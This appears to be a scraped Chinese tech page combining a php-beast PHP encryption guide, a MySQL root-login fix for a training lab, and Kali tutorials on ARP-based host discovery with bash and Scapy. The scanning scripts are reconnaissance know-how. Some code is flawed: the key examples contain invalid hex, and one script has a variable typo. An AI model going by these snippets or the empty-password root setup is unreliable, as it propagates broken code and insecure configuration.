安装完 php-beast 后可以使用 tools 目录下的 encode_files.php 来加密你的项目。使用 encode_files.php 之前先修改 tools 目录下的 configure.ini 文件,如下:

; source path
src_path = ""
; destination path
dst_path = ""
; expire time
expire = ""
; encrypt type (selection: DES, AES, BASE64)
encrypt_type = "DES"


src_path 是要加密项目的路径,dst_path 是保存加密后项目的路径,expire 是设置项目可使用的时间 (expire 的格式是:YYYY-mm-dd HH:ii:ss)。encrypt_type是加密的方式,选择项有:DES、AES、BASE64。 修改完 configure.ini 文件后就可以使用命令 php encode_files.php 开始加密项目。
 
加密方案2:
使用beast_encode_file()函数加密文件,函数原型如下:
beast_encode_file(string $input_file, string $output_file, int expire_timestamp, int encrypt_type)。
1.    $input_file: 要加密的文件
2.    $output_file: 输出的加密文件路径
3.    $expire_timestamp: 文件过期时间戳
4.    $encrypt_type: 加密使用的算法(支持:BEAST_ENCRYPT_TYPE_DES、BEAST_ENCRYPT_TYPE_AES)


制定自己的php-beast


php-beast 有多个地方可以定制的,以下一一列出:
 
1.    使用 header.c 文件可以修改 php-beast 加密后的文件头结构,这样网上的解密软件就不能认识我们的加密文件,就不能进行解密,增加加密的安全性。
 
2.    php-beast 提供只能在指定的机器上运行的功能。要使用此功能可以在 networkcards.c 文件添加能够运行机器的网卡号,例如:

char *allow_networkcards = {
"fa:16:3e:08:88:01",
NULL,
};


这样设置之后,php-beast 扩展就只能在 fa:16:3e:08:88:01 这台机器上运行。另外要注意的是,由于有些机器网卡名可能不一样,所以如果你的网卡名不是 eth0 的话,可以在 php.ini 中添加配置项: beast.networkcard = "xxx" 其中 xxx 就是你的网卡名,也可以配置多张网卡,如:beast.networkcard = "eth0,eth1,eth2"。
 
3.    使用 php-beast 时最好不要使用默认的加密key,因为扩展是开源的,如果使用默认加密key的话,很容易被人发现。所以最好编译的时候修改加密的key,aes模块 可以在 aes_algo_handler.c 文件修改,而 des模块 可以在 des_algo_handler.c 文件修改。
 
函数列表 & Debug
 
开启debug模式:
可以在configure时加入 --enable-beast-debug 选项来开启debug模式。开启debug模式后需要在php.ini配置文件中加入配置项:beast.debug_path 和 beast.debug_mode。beast.debug_mode 用于指定是否使用debug模式,而 beast.debug_path 用于输出解密后的php脚本源码。这样就可以在 beast.debug_path 目录中看到php-beast解密后的源代码,可以方便知道扩展解密是否正确。
函数列表:
1.    beast_encode_file(): 用于加密一个文件
2.    beast_avail_cache(): 获取可以缓存大小
3.    beast_support_filesize(): 获取beast支持的最大可加密文件大小
4.    beast_file_expire(): 获取一个文件的过期时间
5.    beast_clean_cache(): 清空beast的所有缓存(如果有文件更新, 可以使用此函数清空缓存)
 
修改默认加密的key
1,修改加密后的文件头结构:打开header.c文件,找到以下代码:
char encrypt_file_header_sign = {
    0xe8, 0x16, 0xa4, 0x0c,
    0xf2, 0xb2, 0x60, 0xee
};
int encrypt_file_header_length = sizeof(encrypt_file_header_sign);
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0xe8, 0x16, 0xa4, 0x0c,
0xf2, 0xb2, 0x60, 0xee
 
2,修改aes模块加密key:
打开php-beast-master/aes_algo_handler.c文件,找到以下代码:
static uint8_t key = {
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
 
3,修改des模块加密key:
打开php-beast-master/des_algo_handler.c文件,找到以下代码:
static char key[8] = {
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
 
4,修改base64模块加密key:
打开php-beast-master/base64_algo_handler.c文件,自定义修改以下代码:
static const short base64_reverse_table[256] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};
 
php-beast自定义加密模块
一,首先创建一个.c的文件。例如我们要编写一个使用base64加密的模块,可以创建一个名叫base64_algo_handler.c的文件。然后在文件添加如下代码:
#include "beast_module.h"
int base64_encrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
int base64_decrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
void base64_free_handler(void *ptr)
{
    ...
}
struct beast_ops base64_handler_ops = {
    .name = "base64-algo",
    .encrypt = base64_encrypt_handler,
    .decrypt = base64_decrypt_handler,
    .free = base64_free_handler,
};
模块必须实现3个方法,分别是:encrypt、decrypt、free方法。
encrypt方法负责把inbuf字符串加密,然后通过outbuf输出给beast。
decrypt方法负责把加密数据inbuf解密,然后通过outbuf输出给beast。
free方法负责释放encrypt和decrypt方法生成的数据
二,写好我们的加密模块后,需要在global_algo_modules.c添加我们模块的信息。代码如下:
#include <stdlib.h>
#include "beast_module.h"
extern struct beast_ops des_handler_ops;
extern struct beast_ops base64_handler_ops;
struct beast_ops *ops_handler_list = {
    &des_handler_ops,
    &base64_handler_ops, / 这里是我们的模块信息 /
    NULL,
};
三,修改config.m4文件,修改倒数第二行,如下代码:
PHP_NEW_EXTENSION(beast, beast.c des_algo_handler.c beast_mm.c spinlock.c cache.c beast_log.c global_algo_modules.c base64_algo_handler.c , $ext_shared)
base64_algo_handler.c的代码是我们添加的,这里加入的是我们模块的文件名。
现在大功告成了,可以编译试下。如果要使用我们刚编写的加密算法来加密php文件,可以修改php.ini文件的配置项,如下:
``
beast.encrypt_handler = "base64-algo"`
名字就是我们模块的name。




作者:极客小寨
链接:https://www.jianshu.com/p/7bacac6effe5
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


 

挠头的php连接mysql数据库的报错,终于解决了,赶紧分享出来,大家少踩坑吧

数据库SQL语言kakaxi 发表了文章 • 0 个评论 • 260 次浏览 • 2018-06-05 19:01 • 来自相关话题

       最近马上要对一些互联网企业的技术人员举行培训,想着今天要把我们自己的攻防演练的靶场搭建起来,提前备课,kakaxi有一个习惯,再熟悉的课程也会在培训之前进行备课(感觉在夸自己认真负责了,自己都不好意思了),但是始终报一个错误:
连接mysql数据时提示错误: “ERROR 1698 (28000): Access denied for user ‘root’@’localhost'”,网上众说纷纭,很多方法都不灵,有很多只告诉了方法,而且还不好使,都是一知半解,没有分析问题的原因的,所以,经过自虐了好长一段时间,终于算是找到根上了。 
环境介绍: 

操作系统:Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
PHP版本:PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )  
数据库:mysql  Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2

 
问题现象就是:

web页面报错 :「Could not connect:」
web服务器日志  /var/log/apache2/error.log 中显示如下错误:[Tue Jun 05 06:12:55.420068 2018] [php7:warn] [pid 9648] [client 172.16.155.1:56318] PHP Warning: mysqli_connect(): (HY000/1698): Access denied for user 'root'@'localhost' in /var/www/html/sys/config.php on line 7在系统上,使用root帐号登录mysql是没有问题的:root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 66
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
如果输入 mysql -h 127.0.0.1 -uroot -p,就加入了一个-h的参数指定服务器的地址,就会禁止登录(有同学会问,为啥要这样做,其实就是为了模拟web服务器连接数据库的过程,所以你应该懂得)root@kali:/var/www/html# mysql -h 127.0.0.1 -uroot -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
用户名是root,密码为空

原因分析:

为了找到这个问题:查看了数据库用户的信息,确定了两个关键的字段;


MariaDB [(none)]> select user,plugin from mysql.user;
+------+-------------+
| user | plugin |
+------+-------------+
| root | unix_socket |
| wt | |
+------+-------------+
2 rows in set (0.00 sec)

这个里面非常关键的信息就是在数据库用户的表里有一个列属性是plugin,mysql从5.5.7开始引入plugins 以进行用户连接时的密码验证,plugin创建外部/代理用户。mysql官网上原文如下:


Plugins for authenticating attempts by clients to connect to MySQL Server. Plugins are available for several authentication protocols.


进一步查看相关内容得到:
Plugin主要提供了三中方法:unix_socket、mysql_native_password、 mysql_old_password(在 MySQL 5.7.5版本已经被废除掉了)
 
其中mysql_native_password是指使用mysql数据库中的user表里的用户密码进行验证,unix_socket 是 socket 链接。  所以需要将root用户的plugin 值由unix_socket 改为mysql_native_password,然后就flush privileges ,重启mysql服务,果然ok了。
具体过程如下:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 69
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> update user set plugin='mysql_native_password' where user='root';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MariaDB [mysql]> select user,plugin from user;
+------+-----------------------+
| user | plugin |
+------+-----------------------+
| root | mysql_native_password |
| wt | |
+------+-----------------------+
2 rows in set (0.00 sec)

MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [mysql]> exit
Bye
root@kali:/var/www/html# service mysql restart
root@kali:/var/www/html#
再次打开网页,Happy,Happy,我又看到了熟悉的界面
 





 
 

  查看全部
       最近马上要对一些互联网企业的技术人员举行培训,想着今天要把我们自己的攻防演练的靶场搭建起来,提前备课,kakaxi有一个习惯,再熟悉的课程也会在培训之前进行备课(感觉在夸自己认真负责了,自己都不好意思了),但是始终报一个错误:
连接mysql数据时提示错误: “ERROR 1698 (28000): Access denied for user ‘root’@’localhost'”,网上众说纷纭,很多方法都不灵,有很多只告诉了方法,而且还不好使,都是一知半解,没有分析问题的原因的,所以,经过自虐了好长一段时间,终于算是找到根上了。 
环境介绍: 


操作系统:Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
PHP版本:PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )  
数据库:mysql  Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2


 
问题现象就是:


web页面报错 :「Could not connect:」
web服务器日志  /var/log/apache2/error.log 中显示如下错误:

[Tue Jun 05 06:12:55.420068 2018] [php7:warn] [pid 9648] [client 172.16.155.1:56318] PHP Warning:  mysqli_connect(): (HY000/1698): Access denied for user 'root'@'localhost' in /var/www/html/sys/config.php on line 7
在系统上,使用root帐号登录mysql是没有问题的:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 66
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
如果输入 mysql -h 127.0.0.1 -uroot -p,就加入了一个-h的参数指定服务器的地址,就会禁止登录(有同学会问,为啥要这样做,其实就是为了模拟web服务器连接数据库的过程,所以你应该懂得)
root@kali:/var/www/html# mysql -h 127.0.0.1 -uroot -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
用户名是root,密码为空


原因分析:


为了找到这个问题:查看了数据库用户的信息,确定了两个关键的字段;



MariaDB [(none)]> select user,plugin from mysql.user;
+------+-------------+
| user | plugin |
+------+-------------+
| root | unix_socket |
| wt | |
+------+-------------+
2 rows in set (0.00 sec)

这个里面非常关键的信息就是在数据库用户的表里有一个列属性是plugin,mysql从5.5.7开始引入plugins 以进行用户连接时的密码验证,plugin创建外部/代理用户。mysql官网上原文如下:



Plugins for authenticating attempts by clients to connect to MySQL Server. Plugins are available for several authentication protocols.


进一步查看相关内容得到:
Plugin主要提供了三中方法:unix_socket、mysql_native_password、 mysql_old_password(在 MySQL 5.7.5版本已经被废除掉了)
 
其中mysql_native_password是指使用mysql数据库中的user表里的用户密码进行验证,unix_socket 是 socket 链接。  所以需要将root用户的plugin 值由unix_socket 改为mysql_native_password,然后就flush privileges ,重启mysql服务,果然ok了。
具体过程如下:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 69
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> update user set plugin='mysql_native_password' where user='root';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MariaDB [mysql]> select user,plugin from user;
+------+-----------------------+
| user | plugin |
+------+-----------------------+
| root | mysql_native_password |
| wt | |
+------+-----------------------+
2 rows in set (0.00 sec)

MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [mysql]> exit
Bye
root@kali:/var/www/html# service mysql restart
root@kali:/var/www/html#
再次打开网页,Happy,Happy,我又看到了熟悉的界面
 

WX20180605-185526@2x.png

 
 


 


【Kali Linux网络扫描秘籍系列】Bash脚本+ARPing 实现自动化IP扫描

SHELL脚本kakaxi 发表了文章 • 0 个评论 • 175 次浏览 • 2018-05-29 11:27 • 来自相关话题

ARPing简介:
ARPing 是一个命令行网络工具,具有类似于常用的 ping 工具的功能。 此工具可通过提供该 IP 地址作为参数,来识别活动主机是否位于给定 IP 的本地网络上。 这个秘籍将讨论如何使用 ARPing 扫描网络上的活动主机。
 
准备
要使用 ARPing 执行 ARP 发现,你需要在 LAN 上至少拥有一个响应 ARP 请求的系统。本测试在Kali 2.0上进行
 
操作步骤
ARPing是一种工具,可用于发送 ARP 请求并标识主机是否活动和响应。 该工具仅通过将 IP 地址作为参数传递给它来使用:root@kali:~# arping -c 1 172.16.155.1
ARPING 172.16.155.1 from 172.16.155.150 eth0
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 1.047ms
Sent 1 probes (1 broadcast(s))
Received 1 response(s)
root@kali:~#



在所提供的示例中,单个 ARP 请求被发送给广播地址,请求 172.16.155.1 IP地址的物理位置。 如输出所示,主机从 000:50:56:C0:00:08 MAC地址接收到单个应答。 此工具可以更有效地用于第二层上的发现,扫描是否使用 bash 脚本在多个主机上同时执行此操作。 为了测试 bash 中每个实例的响应,我们应该确定响应中包含的唯一字符串,它标识了活动主机,但不包括没有收到响应时的情况。要识别唯一字符串,应该对无响应的 IP 地址进行 ARPing 请求:root@kali:~# arping -c 1 172.16.155.100
ARPING 172.16.155.100 from 172.16.155.150 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)




通过分析来自成功和失败的不同 ARP 响应,你可能注意到,如果存在所提供的 IP地址的相关活动主机,并且它也在包含在 IP 地址的行内,则响应中存在来自字符串的唯一字节。 通过对此响应执行 grep ,我们可以提取每个响应主机的 IP 地址:root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from'
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 0.712ms



我们可以仅仅通过处理提供给 cut 函数的分隔符和字段值,从返回的字符串中轻松地提取 IP 地址:root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from' |cut -d ' ' -f 4
172.16.155.1在识别如何从正面 ARPing 响应中提取 IP 在 bash 脚本中轻易将该任务传递给循环,并输出实时 IP 地址列表。 使用此技术的脚本的示例如下所示:root@kali:~# cat arping.sh 
#!/bin/bash
if [ $# -ne 1 ]; then
    echo "Usage - ./arping.sh [interface]"
    echo "Example - ./arping.sh eth0"
    echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
    exit
fi

interface=$1
prefix=$(ifconfig $inerface | grep 'inet'| head -n 1| cut -d ' ' -f 10|cut -d '.' -f 1-3 ) #  由于输出的间隔符空格,因此我这边cut -d后面用的是空格,大家做的过程中,可以根据自己的情况变化

for addr in $(seq 1 254); do 
    arping -c 1 $prefix.$addr | grep 'reply from' |cut -d ' ' -f 4 &
done在提供的 bash 脚本中,第一行定义了 bash 解释器的位置。接下来的代码块执行测试,来确定是否提供了预期的参数。这通过评估提供的参数的数量是否不等于 1来确定。如果未提供预期参数,则输出脚本的用法,并且退出脚本。用法输出表明,脚本预期将本地接口名称作为参数。下一个代码块将提供的参数赋给 interface 变量。然后将接口值提供给 ifconfig ,然后使用输出提取网络前缀。例如,如果提供的接口的 IP 地址是 192.168.11.4 ,则前缀变量将赋为 192.168.11 。然后使用 for 循环遍历最后一个字节的值,来在本地 / 24 网络中生成每个可能的 IP 地址。对于每个可能的 IP 地址,执行单个 arping 命令。然后对每个请求的响应通过管道进行传递,然后使用 grep 来提取带有短语 bytes 的行。如前所述,这只会提取包含活动主机的 IP 地址的行。最后,使用一系列 cut 函数从此输出中提取 IP 地址。请注意,在 for 循环任务的末尾使用 & 符号,而不是分号。符号允许并行执行任务,而不是按顺序执行。这极大地减少了扫描 IP 范围所需的时间。
注意:给文件增加执行权限如下命令集:root@kali:~# chmod +x arping.sh
root@kali:~# ls -al arping.sh
-rwxr-xr-x 1 root root 552 May 28 23:18 arping.sh
root@kali:~#
 
看看下面的执行命令集:root@kali:~# ./arping.sh
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arping.sh eth0
root@kali:~# 172.16.155.1
172.16.155.2
172.16.155.254




可以轻易将脚本的输出重定向到文本文件,然后用于随后的分析。 可以使用尖括号重定向输出,后跟文本文件的名称。 一个例子如下:root@kali:~# ./arping.sh eth0 > output.txt
root@kali:~# ls output.txt
output.txt
root@kali:~# cat output.txt
172.16.155.1
172.16.155.2
172.16.155.254
root@kali:~#



一旦输出重定向到输出文件,你就可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。 此脚本还可以修改为从输入文件读取,并仅验证此文件中列出的主机是否处于活动状态。 对于以下脚本,你需要拥有IP 地址列表的输入文件。 为此,我们可以使用与上一个秘籍中讨论的 Scapy 脚本所使用的相同的输入文件:#!/bin/bash
if [ $# -ne 1 ]; then
echo "Usage - ./arping.sh [interface]"
echo "Example - ./arping.sh eth0"
echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
exit
fi

file=$1

for addr in $(cat $file); do
arping -c 1 $addr | grep 'reply from' |cut -d ' ' -f 4 &
done




这个脚本和前一个脚本唯一的主要区别是,并没有提供一个接口名,而是在执行脚本时提供输入列表的文件名。 这个参数被传递给文件变量。 然后, for 循环用于循环遍历此文件中的每个值,来执行 ARPing 任务。 为了执行脚本,请使用句号和斜杠,后跟可执行脚本的名称:root@kali:~# ./arping.sh
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arp.sh output.txt
-bash: ./arp.sh: No such file or directory
root@kali:~#




 工作原理
 
ARPing 是一个工具,用于验证单个主机是否在线。 然而,它的简单用法的使我们很容易操作它在 bash 中按顺序扫描多个主机。 这是通过循环遍历一系列 IP 地址,然后将这些 IP 地址作为参数提供给工具来完成的。
  查看全部
ARPing简介:
ARPing 是一个命令行网络工具,具有类似于常用的 ping 工具的功能。 此工具可通过提供该 IP 地址作为参数,来识别活动主机是否位于给定 IP 的本地网络上。 这个秘籍将讨论如何使用 ARPing 扫描网络上的活动主机。
 
准备
要使用 ARPing 执行 ARP 发现,你需要在 LAN 上至少拥有一个响应 ARP 请求的系统。本测试在Kali 2.0上进行
 
操作步骤
ARPing是一种工具,可用于发送 ARP 请求并标识主机是否活动和响应。 该工具仅通过将 IP 地址作为参数传递给它来使用:
root@kali:~# arping -c 1 172.16.155.1
ARPING 172.16.155.1 from 172.16.155.150 eth0
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 1.047ms
Sent 1 probes (1 broadcast(s))
Received 1 response(s)
root@kali:~#



在所提供的示例中,单个 ARP 请求被发送给广播地址,请求 172.16.155.1 IP地址的物理位置。 如输出所示,主机从 000:50:56:C0:00:08 MAC地址接收到单个应答。 此工具可以更有效地用于第二层上的发现,扫描是否使用 bash 脚本在多个主机上同时执行此操作。 为了测试 bash 中每个实例的响应,我们应该确定响应中包含的唯一字符串,它标识了活动主机,但不包括没有收到响应时的情况。要识别唯一字符串,应该对无响应的 IP 地址进行 ARPing 请求:
root@kali:~# arping -c 1 172.16.155.100
ARPING 172.16.155.100 from 172.16.155.150 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)




通过分析来自成功和失败的不同 ARP 响应,你可能注意到,如果存在所提供的 IP地址的相关活动主机,并且它也在包含在 IP 地址的行内,则响应中存在来自字符串的唯一字节。 通过对此响应执行 grep ,我们可以提取每个响应主机的 IP 地址:
root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from' 
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 0.712ms



我们可以仅仅通过处理提供给 cut 函数的分隔符和字段值,从返回的字符串中轻松地提取 IP 地址:
root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from' |cut -d ' ' -f 4
172.16.155.1
在识别如何从正面 ARPing 响应中提取 IP 在 bash 脚本中轻易将该任务传递给循环,并输出实时 IP 地址列表。 使用此技术的脚本的示例如下所示:
root@kali:~# cat arping.sh 
#!/bin/bash
if [ $# -ne 1 ]; then
    echo "Usage - ./arping.sh [interface]"
    echo "Example - ./arping.sh eth0"
    echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
    exit
fi

interface=$1
prefix=$(ifconfig $inerface | grep 'inet'| head -n 1| cut -d ' ' -f 10|cut -d '.' -f 1-3 ) #  由于输出的间隔符空格,因此我这边cut -d后面用的是空格,大家做的过程中,可以根据自己的情况变化

for addr in $(seq 1 254); do 
    arping -c 1 $prefix.$addr | grep 'reply from' |cut -d ' ' -f 4 &
done
在提供的 bash 脚本中,第一行定义了 bash 解释器的位置。接下来的代码块执行测试,来确定是否提供了预期的参数。这通过评估提供的参数的数量是否不等于 1来确定。如果未提供预期参数,则输出脚本的用法,并且退出脚本。用法输出表明,脚本预期将本地接口名称作为参数。下一个代码块将提供的参数赋给 interface 变量。然后将接口值提供给 ifconfig ,然后使用输出提取网络前缀。例如,如果提供的接口的 IP 地址是 192.168.11.4 ,则前缀变量将赋为 192.168.11 。然后使用 for 循环遍历最后一个字节的值,来在本地 / 24 网络中生成每个可能的 IP 地址。对于每个可能的 IP 地址,执行单个 arping 命令。然后对每个请求的响应通过管道进行传递,然后使用 grep 来提取带有短语 bytes 的行。如前所述,这只会提取包含活动主机的 IP 地址的行。最后,使用一系列 cut 函数从此输出中提取 IP 地址。请注意,在 for 循环任务的末尾使用 & 符号,而不是分号。符号允许并行执行任务,而不是按顺序执行。这极大地减少了扫描 IP 范围所需的时间。
注意:给文件增加执行权限如下命令集:
root@kali:~# chmod +x arping.sh
root@kali:~# ls -al arping.sh
-rwxr-xr-x 1 root root 552 May 28 23:18 arping.sh
root@kali:~#

 
看看下面的执行命令集:
root@kali:~# ./arping.sh
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arping.sh eth0
root@kali:~# 172.16.155.1
172.16.155.2
172.16.155.254




可以轻易将脚本的输出重定向到文本文件,然后用于随后的分析。 可以使用尖括号重定向输出,后跟文本文件的名称。 一个例子如下:
root@kali:~# ./arping.sh eth0 > output.txt
root@kali:~# ls output.txt
output.txt
root@kali:~# cat output.txt
172.16.155.1
172.16.155.2
172.16.155.254
root@kali:~#



一旦输出重定向到输出文件,你就可以使用 ls 命令验证文件是否已写入文件系统,或者可以使用 cat 命令查看文件的内容。 此脚本还可以修改为从输入文件读取,并仅验证此文件中列出的主机是否处于活动状态。 对于以下脚本,你需要拥有IP 地址列表的输入文件。 为此,我们可以使用与上一个秘籍中讨论的 Scapy 脚本所使用的相同的输入文件:
#!/bin/bash
if [ $# -ne 1 ]; then
echo "Usage - ./arping.sh [interface]"
echo "Example - ./arping.sh eth0"
echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
exit
fi

file=$1

for addr in $(cat $file); do
arping -c 1 $addr | grep 'reply from' |cut -d ' ' -f 4 &
done




这个脚本和前一个脚本唯一的主要区别是,并没有提供一个接口名,而是在执行脚本时提供输入列表的文件名。 这个参数被传递给文件变量。 然后, for 循环用于循环遍历此文件中的每个值,来执行 ARPing 任务。 为了执行脚本,请使用句号和斜杠,后跟可执行脚本的名称:
root@kali:~# ./arping.sh 
Usage - ./arping.sh [interface]
Example - ./arping.sh eth0
Example will perform an ARP scan of the local subnet to which eth0 is assigned
root@kali:~# ./arp.sh output.txt
-bash: ./arp.sh: No such file or directory
root@kali:~#




 工作原理
 
ARPing 是一个工具,用于验证单个主机是否在线。 然而,它的简单用法的使我们很容易操作它在 bash 中按顺序扫描多个主机。 这是通过循环遍历一系列 IP 地址,然后将这些 IP 地址作为参数提供给工具来完成的。
 

【Kali Linux网络扫描秘籍系列】Python 3.0 +Kali SCAPY 实现自动扫描本地存活IP地址

kakaxi 发表了文章 • 0 个评论 • 257 次浏览 • 2018-05-28 19:00 • 来自相关话题

使用 Scapy 探索第二层
Scapy 是一个强大的交互工具,可用于捕获,分析,操作甚至创建协议兼容的网络流量,然后注入到网络中。 Scapy 也是一个可以在 Python 中使用的库,从而提供创建高效的脚本,来执行网络流量处理和操作的函数。 这个特定的秘籍演示了如何使用 Scapy 执行 ARP 发现,以及如何使用P ython 和 Scapy 创建脚本来简化第二层发现过程。
 
准备
要使用 Scapy 执行 ARP 发现,你需要在 LAN 上至少拥有一个响应 ARP 请求的系统。
 
操作步骤
为了了解 ARP 发现的工作原理,我们使用 Scapy 来开发自定义数据包,这允让我们能够使用 ARP 识别 LAN 上的主机。 要在 Kali Linux 中开始使用 Scapy,请从终端输入 scapy 命令。 然后,你可以使用 display() 函数以下列方式查看在Scapy 中创建的任何 ARP 对象的默认配置:root@kali:~# scapy
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | We are in France, we say Skappee.
scccccp///pSP///p p//Y | OK? Merci.
sY/////////y caa S//P | -- Sebastien Chabal
cayCyayP//Ya pY/Ya |
sY/PsY////YCc aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs

[quote]>> ARP().display()
[size=16]#[ ARP ][/size]#
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has
hwsrc= 00:0c:29:24:94:d1
psrc= 172.16.155.150
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0请注意,IP 和 MAC 源地址都会自动配置为与运行 Scapy 的主机相关的值。 除非你需要伪造源地址,否则对于任何 Scapy 对象永远不必更改这些值。 ARP 的默认操作码值被自动设置为 who-has ,表明该封包用于请求 IP 和 MAC 关联。 在这种情况下,我们需要提供的唯一值是目标 IP 地址。 为此,我们可以使用 ARP 函数创建一个对象,将其赋给一个变量。 变量的名称是无所谓(在提供的示例中,使用变量名称 arp_request )。 看看下面的命令:>>> arp_request=ARP()
>>> arp_request.pdst="172.16.155.1"
>>> arp_request.display()
